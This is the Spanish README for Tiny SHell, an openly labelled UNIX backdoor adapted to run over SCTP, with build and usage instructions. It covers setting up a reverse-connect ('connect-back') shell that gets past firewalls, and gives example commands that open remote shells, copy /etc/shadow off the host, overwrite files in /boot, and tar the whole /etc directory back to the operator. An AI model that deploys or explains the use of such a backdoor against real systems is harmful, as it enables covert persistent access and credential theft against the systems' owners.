
Adaptación de TinySHell a SCTP
Tiny SHell - Una puerta trasera UNIX de código abierto
* Antes de compilar Tiny SHell
1. En primer lugar, debes configurar tu clave secreta, que
se encuentra en tsh.h; la clave puede tener cualquier
longitud (usa al menos 12 caracteres para una mejor
seguridad).
2. Se recomienda cambiar SERVER_PORT, el puerto en el que el
servidor estará a la espera de conexiones entrantes.
3. Puede que quieras iniciar tshd en modo "connect-back" si
se ejecuta en una máquina con cortafuegos; simplemente
descomenta y modifica CONNECT_BACK_HOST en tsh.h.
* Compilando Tiny SHell
Ejecuta "make <system>", donde <system> puede ser cualquiera
de estos: linux, freebsd, openbsd, netbsd, cygwin, sunos,
irix, hpux, osf
* Cómo usar el servidor
Puede ser útil establecer $HOME y la máscara de creación de
archivos antes de iniciar el servidor:
% umask 077; HOME=/var/tmp ./tshd
* Cómo usar el cliente
Asegúrate de que tshd se esté ejecutando en el host remoto.
Puedes:
- iniciar un shell:
./tsh <hostname>
- ejecutar un comando:
./tsh <hostname> "uname -a"
- transferir archivos:
./tsh <hostname> get /etc/shadow .
./tsh <hostname> put vmlinuz /boot
Nota: si el servidor se ejecuta en modo connect-back,
sustituye el nombre de host de la máquina remota por "cb".
* Acerca de las transferencias de múltiples archivos
Por el momento, Tiny SHell no admite transferencias de
archivos múltiples y/o recursivas al estilo scp. Puedes
solucionar este problema simplemente creando un archivo tar
y transfiriéndolo. Ejemplo:
./tsh host "stty raw; tar -cf - /etc 2>/dev/null" | tar -xvf -
* Acerca de los modos de terminal
En algunos sistemas bastante limitados (en concreto, IRIX y
HP-UX), Ctrl-C y otras teclas de control no funcionan
correctamente. Arrégialo con:
% stty intr "^C" erase "^H" eof "^D" susp "^Z" kill "^U"
* Acerca de la seguridad
Recuerda que la clave secreta se almacena en texto claro
dentro de los ejecutables tsh y tshd; por lo tanto, debes
asegurarte de que nadie más que tú tenga acceso de lectura
a estos dos archivos. Sin embargo, puedes optar por no
almacenar la clave real (válida) en el cliente, que entonces
pedirá una contraseña cuando se inicie.
* Notas sobre la versión SCTP:
Solo probado en Archlinux hasta ahora, espera que falle
estrepitosamente en cualquier otro sistema.
Es un hack bastante feo, tiene algunos errores de compilación
que planeo localizar y corregir eventualmente.
La seguridad del archivo de la puerta trasera (tsh) - es decir,
la contraseña en texto claro, se corregirá pronto almacenando
solo una contraseña con hash.
Pruebas en hpux, *bsd, etc. cuando tenga acceso a tales máquinas.